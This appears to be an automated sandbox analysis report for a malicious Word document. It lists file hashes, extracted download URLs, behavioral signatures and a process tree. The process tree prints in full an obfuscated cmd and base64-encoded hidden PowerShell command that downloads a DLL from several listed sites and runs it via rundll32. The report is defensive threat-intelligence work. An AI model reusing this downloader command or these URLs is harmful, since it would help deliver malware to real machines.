Analysis
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max time kernel
69s -
max time network
149s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
14-01-2021 09:31
Behavioral task
behavioral1
Sample
Untitled_2021_01_12_G478621.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
Untitled_2021_01_12_G478621.doc
Resource
win10v20201028
General
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Target
Untitled_2021_01_12_G478621.doc
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Size
157KB
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MD5
054ef4f75808a1d23c78a216db816336
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SHA1
467dabe728edae96ca6229c8aefd0d20ed175539
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SHA256
1cc13f331b8070b5e46b47016ad976bb3033eba3f81d7be30e529eece66829f9
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SHA512
79c1ced23104dce5a115786dd36538082a36c41cbf69ecf9ff7f5b8c1169e12eadbe49fd0a06b0110f8390cf2ffef68f70fdfc6a42905a3e63154ab48b0bc36d
Malware Config
Extracted
http://baselinealameda.com/j/uoB/
http://abdindash.xyz/b/Yonhx/
https://cavallarigutters.com/samsung-chromebook-etswp/Wdeiub/
https://craku.tech/h/iXbreOs/
https://nicoblogroms.com/c/V9w0b5/
https://www.taradhuay.com/d/oT5uG/
https://altcomconstruction.com/wp-includes/or7/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 316 1712 cmd.exe -
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exerundll32.exeflow pid process 6 1652 powershell.exe 8 1652 powershell.exe 10 1700 rundll32.exe -
Loads dropped DLL 4 IoCs
Processes:
rundll32.exepid process 1916 rundll32.exe 1916 rundll32.exe 1916 rundll32.exe 1916 rundll32.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exerundll32.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\Cytdpwjmr\azptjvxt.gya rundll32.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
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Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1936 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exerundll32.exepid process 1652 powershell.exe 1652 powershell.exe 1700 rundll32.exe 1700 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1652 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1936 WINWORD.EXE 1936 WINWORD.EXE -
Suspicious use of WriteProcessMemory 23 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exedescription pid process target process PID 316 wrote to memory of 304 316 cmd.exe msg.exe PID 316 wrote to memory of 304 316 cmd.exe msg.exe PID 316 wrote to memory of 304 316 cmd.exe msg.exe PID 316 wrote to memory of 1652 316 cmd.exe powershell.exe PID 316 wrote to memory of 1652 316 cmd.exe powershell.exe PID 316 wrote to memory of 1652 316 cmd.exe powershell.exe PID 1652 wrote to memory of 1108 1652 powershell.exe rundll32.exe PID 1652 wrote to memory of 1108 1652 powershell.exe rundll32.exe PID 1652 wrote to memory of 1108 1652 powershell.exe rundll32.exe PID 1108 wrote to memory of 1916 1108 rundll32.exe rundll32.exe PID 1108 wrote to memory of 1916 1108 rundll32.exe rundll32.exe PID 1108 wrote to memory of 1916 1108 rundll32.exe rundll32.exe PID 1108 wrote to memory of 1916 1108 rundll32.exe rundll32.exe PID 1108 wrote to memory of 1916 1108 rundll32.exe rundll32.exe PID 1108 wrote to memory of 1916 1108 rundll32.exe rundll32.exe PID 1108 wrote to memory of 1916 1108 rundll32.exe rundll32.exe PID 1916 wrote to memory of 1700 1916 rundll32.exe rundll32.exe PID 1916 wrote to memory of 1700 1916 rundll32.exe rundll32.exe PID 1916 wrote to memory of 1700 1916 rundll32.exe rundll32.exe PID 1916 wrote to memory of 1700 1916 rundll32.exe rundll32.exe PID 1916 wrote to memory of 1700 1916 rundll32.exe rundll32.exe PID 1916 wrote to memory of 1700 1916 rundll32.exe rundll32.exe PID 1916 wrote to memory of 1700 1916 rundll32.exe rundll32.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Untitled_2021_01_12_G478621.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABTAGUAVAAtAEkAdABlAE0AIAAgAHYAQQByAEkAQQBCAEwAZQA6ADMANgA1ACAAKABbAFQAeQBwAGUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAtAEYAJwAuAGkAJwAsACcAUwB5ACcALAAnAHQAbwAnACwAJwBzAFQAZQBtACcALAAnAFIAWQAnACwAJwBPAC4ARABJAHIAZQBDACcAKQApACAAOwAgACQARAA2ADkAMgB3ACAAPQAgACAAWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMAB9AHsAOAB9AHsANwB9AHsANQB9AHsAMQB9AHsAMgB9AHsANgB9AHsANAB9ACIAIAAtAGYAJwB5ACcALAAnAEMAJwAsACcARQBwAE8AJwAsACcAUwAnACwAJwByACcALAAnAEUAUgBWAEkAJwAsACcAaQBOAHQATQBBAG4AQQBnAGUAJwAsACcAUwAnACwAJwBTAHQARQBNAC4AbgBFAFQALgAnACkAIAA7ACAAJABWAGYANQBhAHMAaQByAD0AJABFADMAMABMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABBADEAOABFADsAJABXADkANQBSAD0AKAAoACcARQA3ACcAKwAnADMAJwApACsAJwBMACcAKQA7ACAAIAAoAHYAQQBSAEkAYQBCAGwAZQAgADMANgA1ACkALgB2AGEAbABVAEUAOgA6ACIAQwBgAFIAZQBBAGAAVABgAGUAZABJAFIAZQBDAHQAbwBgAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAdQBHACcAKwAnAE4ATQAnACkAKwAoACcAdgAnACsAJwA4AF8AJwApACsAJwBuACcAKwAoACcAawA3ACcAKwAnAHUARwAnACsAJwBOAEgAXwAnACsAJwBpADQAYgB4ACcAKQArACgAJwBxAHUARwAnACsAJwBOACcAKQApAC4AIgBSAEUAcABsAGAAQQBgAGMARQAiACgAKAAnAHUARwAnACsAJwBOACcAKQAsACcAXAAnACkAKQApADsAJABTAF8ANABCAD0AKAAnAEYANwAnACsAJwAxAEUAJwApADsAIAAgACgAIAAgAGcARQB0AC0AQwBoAEkAbABEAGkAdABFAE0AIAAgACgAIgBWAEEAIgArACIAUgBJAGEAIgArACIAYgBsAGUAOgBkADYAOQAyAFcAIgApACAAIAApAC4AVgBhAEwAVQBFADoAOgAiAFMAZQBgAGMAVQBgAFIAaQBUAFkAUABSAE8AYABUAG8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATAAzADgAUAA9ACgAJwBIADUAJwArACcAMQBMACcAKQA7ACQASQBtAGEANgBhAG8ANQAgAD0AIAAoACcATwAzACcAKwAnADAAQQAnACkAOwAkAEQANQA3AEkAPQAoACcARgAwACcAKwAnADMARwAnACkAOwAkAEsAYwBpADgANAB4ADAAPQAkAEgATwBNAEUAKwAoACgAKAAnAHIAaAAnACsAJwAyACcAKQArACgAJwBNACcAKwAnAHYAOAAnACkAKwAnAF8AJwArACgAJwBuAGsANwByAGgAMgAnACsAJwBIAF8AaQAnACkAKwAoACcANABiACcAKwAnAHgAJwApACsAKAAnAHEAcgBoACcAKwAnADIAJwApACkALgAiAHIAZQBQAGAAbABBAGMAZQAiACgAKAAnAHIAJwArACcAaAAyACcAKQAsACcAXAAnACkAKQArACQASQBtAGEANgBhAG8ANQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEYAMAA5AFoAPQAoACcATABfACcAKwAnADcARAAnACkAOwAkAFcAZgAwAGcANAB3ADYAPQAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAKAAnAHYAJwArACcAOgAvACcAKQArACcALwAnACsAKAAnAGIAYQBzAGUAJwArACcAbAAnACkAKwAnAGkAJwArACgAJwBuACcAKwAnAGUAYQAnACkAKwAoACcAbABhAG0AZQAnACsAJwBkAGEALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwBqACcAKwAnAC8AdQBvAEIALwBAAHcAXQB4ACcAKwAnAG0AWwB2ACcAKwAnADoALwAvACcAKwAnAGEAJwApACsAKAAnAGIAZABpACcAKwAnAG4AZAAnACkAKwAoACcAYQAnACsAJwBzAGgALgAnACkAKwAoACcAeAAnACsAJwB5AHoAJwApACsAJwAvACcAKwAoACcAYgAnACsAJwAvAFkAJwApACsAKAAnAG8AbgBoAHgALwBAACcAKwAnAHcAJwArACcAXQAnACkAKwAoACcAeAAnACsAJwBtAFsAdgAnACsAJwBzADoALwAvAGMAJwArACcAYQAnACkAKwAoACcAdgBhAGwAbABhAHIAJwArACcAaQBnAHUAJwArACcAdAB0AGUAJwApACsAKAAnAHIAcwAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAHMAYQAnACsAJwBtAHMAdQAnACkAKwAoACcAbgBnAC0AJwArACcAYwAnACkAKwAoACcAaAByAG8AbQBlAGIAbwAnACsAJwBvAGsAJwArACcALQAnACsAJwBlAHQAcwAnACsAJwB3AHAAJwArACcALwAnACkAKwAoACcAVwBkAGUAJwArACcAaQB1AGIAJwApACsAJwAvACcAKwAoACcAQAAnACsAJwB3AF0AJwApACsAKAAnAHgAbQAnACsAJwBbAHYAcwA6ACcAKwAnAC8ALwBjACcAKQArACgAJwByACcAKwAnAGEAawB1AC4AJwArACcAdABlAGMAaAAvAGgAJwApACsAKAAnAC8AaQAnACsAJwBYAGIAcgAnACsAJwBlAE8AJwApACsAJwBzAC8AJwArACgAJwBAAHcAJwArACcAXQB4AG0AWwB2ACcAKwAnAHMAOgAvAC8AbgBpACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAYgAnACsAJwBsAG8AZwByAG8AbQAnACkAKwAoACcAcwAuAGMAJwArACcAbwBtAC8AYwAvAFYAJwArACcAOQB3ADAAYgAnACkAKwAoACcANQAvAEAAdwBdAHgAJwArACcAbQAnACsAJwBbACcAKQArACgAJwB2ACcAKwAnAHMAOgAvACcAKQArACgAJwAvACcAKwAnAHcAdwAnACsAJwB3AC4AdABhACcAKQArACgAJwByACcAKwAnAGEAZAAnACkAKwAoACcAaAB1AGEAJwArACcAeQAnACkAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAGQAJwArACcALwBvAFQANQB1ACcAKwAnAEcALwAnACsAJwBAAHcAXQB4AG0AWwAnACkAKwAnAHYAJwArACcAcwA6ACcAKwAoACcALwAnACsAJwAvAGEAbAB0ACcAKwAnAGMAbwBtAGMAbwAnACsAJwBuACcAKQArACgAJwBzAHQAcgB1ACcAKwAnAGMAJwArACcAdAAnACkAKwAoACcAaQBvAG4ALgBjAG8AJwArACcAbQAnACsAJwAvACcAKQArACgAJwB3AHAAJwArACcALQBpAG4AYwBsACcAKQArACgAJwB1AGQAZQAnACsAJwBzAC8AJwApACsAKAAnAG8AJwArACcAcgA3ACcAKQArACcALwAnACkALgAiAFIAYABlAHAAbABhAEMAZQAiACgAKAAoACcAdwAnACsAJwBdAHgAJwApACsAJwBtAFsAJwArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkACcAKwAnAHMAZQB3ACcAKQArACcAZgAnACkALAAoACgAJwB3AGUAJwArACcAdgB3ACcAKQArACcAZQAnACkAKQAsACgAKAAnAGEAJwArACcAZQBmACcAKQArACcAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBzAGAAUABMAGkAVAAiACgAJABSADEAMABXACAAKwAgACQAVgBmADUAYQBzAGkAcgAgACsAIAAkAFUANwA5AFoAKQA7ACQATgAyADQAUQA9ACgAJwBWACcAKwAoACcAXwA4ACcAKwAnAEMAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEMAXwA1AHoANwBqAHkAIABpAG4AIAAkAFcAZgAwAGcANAB3ADYAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAFMAeQBTAFQARQBNAC4AbgBFAHQALgB3AEUAQgBjAGwASQBFAE4AVAApAC4AIgBkAE8AdwBgAE4ATABPAGEARABgAEYAaQBMAGUAIgAoACQAQwBfADUAegA3AGoAeQAsACAAJABLAGMAaQA4ADQAeAAwACkAOwAkAFAAXwA2AEMAPQAoACgAJwBLADcAJwArACcAMQAnACkAKwAnAEIAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEsAYwBpADgANAB4ADAAKQAuACIATABlAG4ARwBgAFQASAAiACAALQBnAGUAIAA0ADkAOQA3ADIAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAMwAnACsAJwAyACcAKQAgACQASwBjAGkAOAA0AHgAMAAsACgAKAAnAFMAaABvAHcAJwArACcARABpACcAKQArACcAYQAnACsAJwBsACcAKwAoACcAbwAnACsAJwBnAEEAJwApACkALgAiAFQAbwBzAGAAVABgAFIASQBuAEcAIgAoACkAOwAkAFEAOAAyAFQAPQAoACcATwA5ACcAKwAnAF8ARwAnACkAOwBiAHIAZQBhAGsAOwAkAEMAMwA3AFoAPQAoACcATgAyACcAKwAnADgATwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgANQA0AEgAPQAoACgAJwBPADkAJwArACcAMwAnACkAKwAnAFoAJwApAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc IABTAGUAVAAtAEkAdABlAE0AIAAgAHYAQQByAEkAQQBCAEwAZQA6ADMANgA1ACAAKABbAFQAeQBwAGUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAtAEYAJwAuAGkAJwAsACcAUwB5ACcALAAnAHQAbwAnACwAJwBzAFQAZQBtACcALAAnAFIAWQAnACwAJwBPAC4ARABJAHIAZQBDACcAKQApACAAOwAgACQARAA2ADkAMgB3ACAAPQAgACAAWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMAB9AHsAOAB9AHsANwB9AHsANQB9AHsAMQB9AHsAMgB9AHsANgB9AHsANAB9ACIAIAAtAGYAJwB5ACcALAAnAEMAJwAsACcARQBwAE8AJwAsACcAUwAnACwAJwByACcALAAnAEUAUgBWAEkAJwAsACcAaQBOAHQATQBBAG4AQQBnAGUAJwAsACcAUwAnACwAJwBTAHQARQBNAC4AbgBFAFQALgAnACkAIAA7ACAAJABWAGYANQBhAHMAaQByAD0AJABFADMAMABMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABBADEAOABFADsAJABXADkANQBSAD0AKAAoACcARQA3ACcAKwAnADMAJwApACsAJwBMACcAKQA7ACAAIAAoAHYAQQBSAEkAYQBCAGwAZQAgADMANgA1ACkALgB2AGEAbABVAEUAOgA6ACIAQwBgAFIAZQBBAGAAVABgAGUAZABJAFIAZQBDAHQAbwBgAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAdQBHACcAKwAnAE4ATQAnACkAKwAoACcAdgAnACsAJwA4AF8AJwApACsAJwBuACcAKwAoACcAawA3ACcAKwAnAHUARwAnACsAJwBOAEgAXwAnACsAJwBpADQAYgB4ACcAKQArACgAJwBxAHUARwAnACsAJwBOACcAKQApAC4AIgBSAEUAcABsAGAAQQBgAGMARQAiACgAKAAnAHUARwAnACsAJwBOACcAKQAsACcAXAAnACkAKQApADsAJABTAF8ANABCAD0AKAAnAEYANwAnACsAJwAxAEUAJwApADsAIAAgACgAIAAgAGcARQB0AC0AQwBoAEkAbABEAGkAdABFAE0AIAAgACgAIgBWAEEAIgArACIAUgBJAGEAIgArACIAYgBsAGUAOgBkADYAOQAyAFcAIgApACAAIAApAC4AVgBhAEwAVQBFADoAOgAiAFMAZQBgAGMAVQBgAFIAaQBUAFkAUABSAE8AYABUAG8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATAAzADgAUAA9ACgAJwBIADUAJwArACcAMQBMACcAKQA7ACQASQBtAGEANgBhAG8ANQAgAD0AIAAoACcATwAzACcAKwAnADAAQQAnACkAOwAkAEQANQA3AEkAPQAoACcARgAwACcAKwAnADMARwAnACkAOwAkAEsAYwBpADgANAB4ADAAPQAkAEgATwBNAEUAKwAoACgAKAAnAHIAaAAnACsAJwAyACcAKQArACgAJwBNACcAKwAnAHYAOAAnACkAKwAnAF8AJwArACgAJwBuAGsANwByAGgAMgAnACsAJwBIAF8AaQAnACkAKwAoACcANABiACcAKwAnAHgAJwApACsAKAAnAHEAcgBoACcAKwAnADIAJwApACkALgAiAHIAZQBQAGAAbABBAGMAZQAiACgAKAAnAHIAJwArACcAaAAyACcAKQAsACcAXAAnACkAKQArACQASQBtAGEANgBhAG8ANQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEYAMAA5AFoAPQAoACcATABfACcAKwAnADcARAAnACkAOwAkAFcAZgAwAGcANAB3ADYAPQAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAKAAnAHYAJwArACcAOgAvACcAKQArACcALwAnACsAKAAnAGIAYQBzAGUAJwArACcAbAAnACkAKwAnAGkAJwArACgAJwBuACcAKwAnAGUAYQAnACkAKwAoACcAbABhAG0AZQAnACsAJwBkAGEALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwBqACcAKwAnAC8AdQBvAEIALwBAAHcAXQB4ACcAKwAnAG0AWwB2ACcAKwAnADoALwAvACcAKwAnAGEAJwApACsAKAAnAGIAZABpACcAKwAnAG4AZAAnACkAKwAoACcAYQAnACsAJwBzAGgALgAnACkAKwAoACcAeAAnACsAJwB5AHoAJwApACsAJwAvACcAKwAoACcAYgAnACsAJwAvAFkAJwApACsAKAAnAG8AbgBoAHgALwBAACcAKwAnAHcAJwArACcAXQAnACkAKwAoACcAeAAnACsAJwBtAFsAdgAnACsAJwBzADoALwAvAGMAJwArACcAYQAnACkAKwAoACcAdgBhAGwAbABhAHIAJwArACcAaQBnAHUAJwArACcAdAB0AGUAJwApACsAKAAnAHIAcwAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAHMAYQAnACsAJwBtAHMAdQAnACkAKwAoACcAbgBnAC0AJwArACcAYwAnACkAKwAoACcAaAByAG8AbQBlAGIAbwAnACsAJwBvAGsAJwArACcALQAnACsAJwBlAHQAcwAnACsAJwB3AHAAJwArACcALwAnACkAKwAoACcAVwBkAGUAJwArACcAaQB1AGIAJwApACsAJwAvACcAKwAoACcAQAAnACsAJwB3AF0AJwApACsAKAAnAHgAbQAnACsAJwBbAHYAcwA6ACcAKwAnAC8ALwBjACcAKQArACgAJwByACcAKwAnAGEAawB1AC4AJwArACcAdABlAGMAaAAvAGgAJwApACsAKAAnAC8AaQAnACsAJwBYAGIAcgAnACsAJwBlAE8AJwApACsAJwBzAC8AJwArACgAJwBAAHcAJwArACcAXQB4AG0AWwB2ACcAKwAnAHMAOgAvAC8AbgBpACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAYgAnACsAJwBsAG8AZwByAG8AbQAnACkAKwAoACcAcwAuAGMAJwArACcAbwBtAC8AYwAvAFYAJwArACcAOQB3ADAAYgAnACkAKwAoACcANQAvAEAAdwBdAHgAJwArACcAbQAnACsAJwBbACcAKQArACgAJwB2ACcAKwAnAHMAOgAvACcAKQArACgAJwAvACcAKwAnAHcAdwAnACsAJwB3AC4AdABhACcAKQArACgAJwByACcAKwAnAGEAZAAnACkAKwAoACcAaAB1AGEAJwArACcAeQAnACkAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAGQAJwArACcALwBvAFQANQB1ACcAKwAnAEcALwAnACsAJwBAAHcAXQB4AG0AWwAnACkAKwAnAHYAJwArACcAcwA6ACcAKwAoACcALwAnACsAJwAvAGEAbAB0ACcAKwAnAGMAbwBtAGMAbwAnACsAJwBuACcAKQArACgAJwBzAHQAcgB1ACcAKwAnAGMAJwArACcAdAAnACkAKwAoACcAaQBvAG4ALgBjAG8AJwArACcAbQAnACsAJwAvACcAKQArACgAJwB3AHAAJwArACcALQBpAG4AYwBsACcAKQArACgAJwB1AGQAZQAnACsAJwBzAC8AJwApACsAKAAnAG8AJwArACcAcgA3ACcAKQArACcALwAnACkALgAiAFIAYABlAHAAbABhAEMAZQAiACgAKAAoACcAdwAnACsAJwBdAHgAJwApACsAJwBtAFsAJwArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkACcAKwAnAHMAZQB3ACcAKQArACcAZgAnACkALAAoACgAJwB3AGUAJwArACcAdgB3ACcAKQArACcAZQAnACkAKQAsACgAKAAnAGEAJwArACcAZQBmACcAKQArACcAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBzAGAAUABMAGkAVAAiACgAJABSADEAMABXACAAKwAgACQAVgBmADUAYQBzAGkAcgAgACsAIAAkAFUANwA5AFoAKQA7ACQATgAyADQAUQA9ACgAJwBWACcAKwAoACcAXwA4ACcAKwAnAEMAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEMAXwA1AHoANwBqAHkAIABpAG4AIAAkAFcAZgAwAGcANAB3ADYAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAFMAeQBTAFQARQBNAC4AbgBFAHQALgB3AEUAQgBjAGwASQBFAE4AVAApAC4AIgBkAE8AdwBgAE4ATABPAGEARABgAEYAaQBMAGUAIgAoACQAQwBfADUAegA3AGoAeQAsACAAJABLAGMAaQA4ADQAeAAwACkAOwAkAFAAXwA2AEMAPQAoACgAJwBLADcAJwArACcAMQAnACkAKwAnAEIAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEsAYwBpADgANAB4ADAAKQAuACIATABlAG4ARwBgAFQASAAiACAALQBnAGUAIAA0ADkAOQA3ADIAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAMwAnACsAJwAyACcAKQAgACQASwBjAGkAOAA0AHgAMAAsACgAKAAnAFMAaABvAHcAJwArACcARABpACcAKQArACcAYQAnACsAJwBsACcAKwAoACcAbwAnACsAJwBnAEEAJwApACkALgAiAFQAbwBzAGAAVABgAFIASQBuAEcAIgAoACkAOwAkAFEAOAAyAFQAPQAoACcATwA5ACcAKwAnAF8ARwAnACkAOwBiAHIAZQBhAGsAOwAkAEMAMwA3AFoAPQAoACcATgAyACcAKwAnADgATwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgANQA0AEgAPQAoACgAJwBPADkAJwArACcAMwAnACkAKwAnAFoAJwApAA==2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dll ShowDialogA3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dll ShowDialogA4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cytdpwjmr\azptjvxt.gya",ShowDialogA5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dllMD5
f883e249648910b9261edc839cb437eb
SHA1c8df991cfd7b031b6222b16c30e5a4646bf19ab4
SHA256f3b2790c2b1c0a1c2376e4c4283d34276389ce5d47bb4c3148ce44ddd1492dd4
SHA512209af98b51a820270fe086354fe799df8cb485593f9ab0f3c362dec1589d781c81fae60f7cf12891f14bdca2fc8d539df41bfb6578311de8a13359a74a78ccc2
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\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dllMD5
f883e249648910b9261edc839cb437eb
SHA1c8df991cfd7b031b6222b16c30e5a4646bf19ab4
SHA256f3b2790c2b1c0a1c2376e4c4283d34276389ce5d47bb4c3148ce44ddd1492dd4
SHA512209af98b51a820270fe086354fe799df8cb485593f9ab0f3c362dec1589d781c81fae60f7cf12891f14bdca2fc8d539df41bfb6578311de8a13359a74a78ccc2
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\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dllMD5
f883e249648910b9261edc839cb437eb
SHA1c8df991cfd7b031b6222b16c30e5a4646bf19ab4
SHA256f3b2790c2b1c0a1c2376e4c4283d34276389ce5d47bb4c3148ce44ddd1492dd4
SHA512209af98b51a820270fe086354fe799df8cb485593f9ab0f3c362dec1589d781c81fae60f7cf12891f14bdca2fc8d539df41bfb6578311de8a13359a74a78ccc2
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\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dllMD5
f883e249648910b9261edc839cb437eb
SHA1c8df991cfd7b031b6222b16c30e5a4646bf19ab4
SHA256f3b2790c2b1c0a1c2376e4c4283d34276389ce5d47bb4c3148ce44ddd1492dd4
SHA512209af98b51a820270fe086354fe799df8cb485593f9ab0f3c362dec1589d781c81fae60f7cf12891f14bdca2fc8d539df41bfb6578311de8a13359a74a78ccc2
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\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dllMD5
f883e249648910b9261edc839cb437eb
SHA1c8df991cfd7b031b6222b16c30e5a4646bf19ab4
SHA256f3b2790c2b1c0a1c2376e4c4283d34276389ce5d47bb4c3148ce44ddd1492dd4
SHA512209af98b51a820270fe086354fe799df8cb485593f9ab0f3c362dec1589d781c81fae60f7cf12891f14bdca2fc8d539df41bfb6578311de8a13359a74a78ccc2
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memory/304-4-0x0000000000000000-mapping.dmp
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memory/436-21-0x000007FEF5BC0000-0x000007FEF5E3A000-memory.dmpFilesize
2.5MB
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memory/1108-13-0x0000000000000000-mapping.dmp
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memory/1652-7-0x0000000001D40000-0x0000000001D41000-memory.dmpFilesize
4KB
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memory/1652-11-0x000000001C320000-0x000000001C321000-memory.dmpFilesize
4KB
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memory/1652-12-0x000000001C3B0000-0x000000001C3B1000-memory.dmpFilesize
4KB
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memory/1652-10-0x0000000001E50000-0x0000000001E51000-memory.dmpFilesize
4KB
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memory/1652-9-0x0000000001E20000-0x0000000001E21000-memory.dmpFilesize
4KB
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memory/1652-8-0x000000001AD20000-0x000000001AD21000-memory.dmpFilesize
4KB
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memory/1652-6-0x000007FEF4D90000-0x000007FEF577C000-memory.dmpFilesize
9.9MB
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memory/1652-5-0x0000000000000000-mapping.dmp
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memory/1700-20-0x0000000000000000-mapping.dmp
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memory/1916-15-0x0000000000000000-mapping.dmp
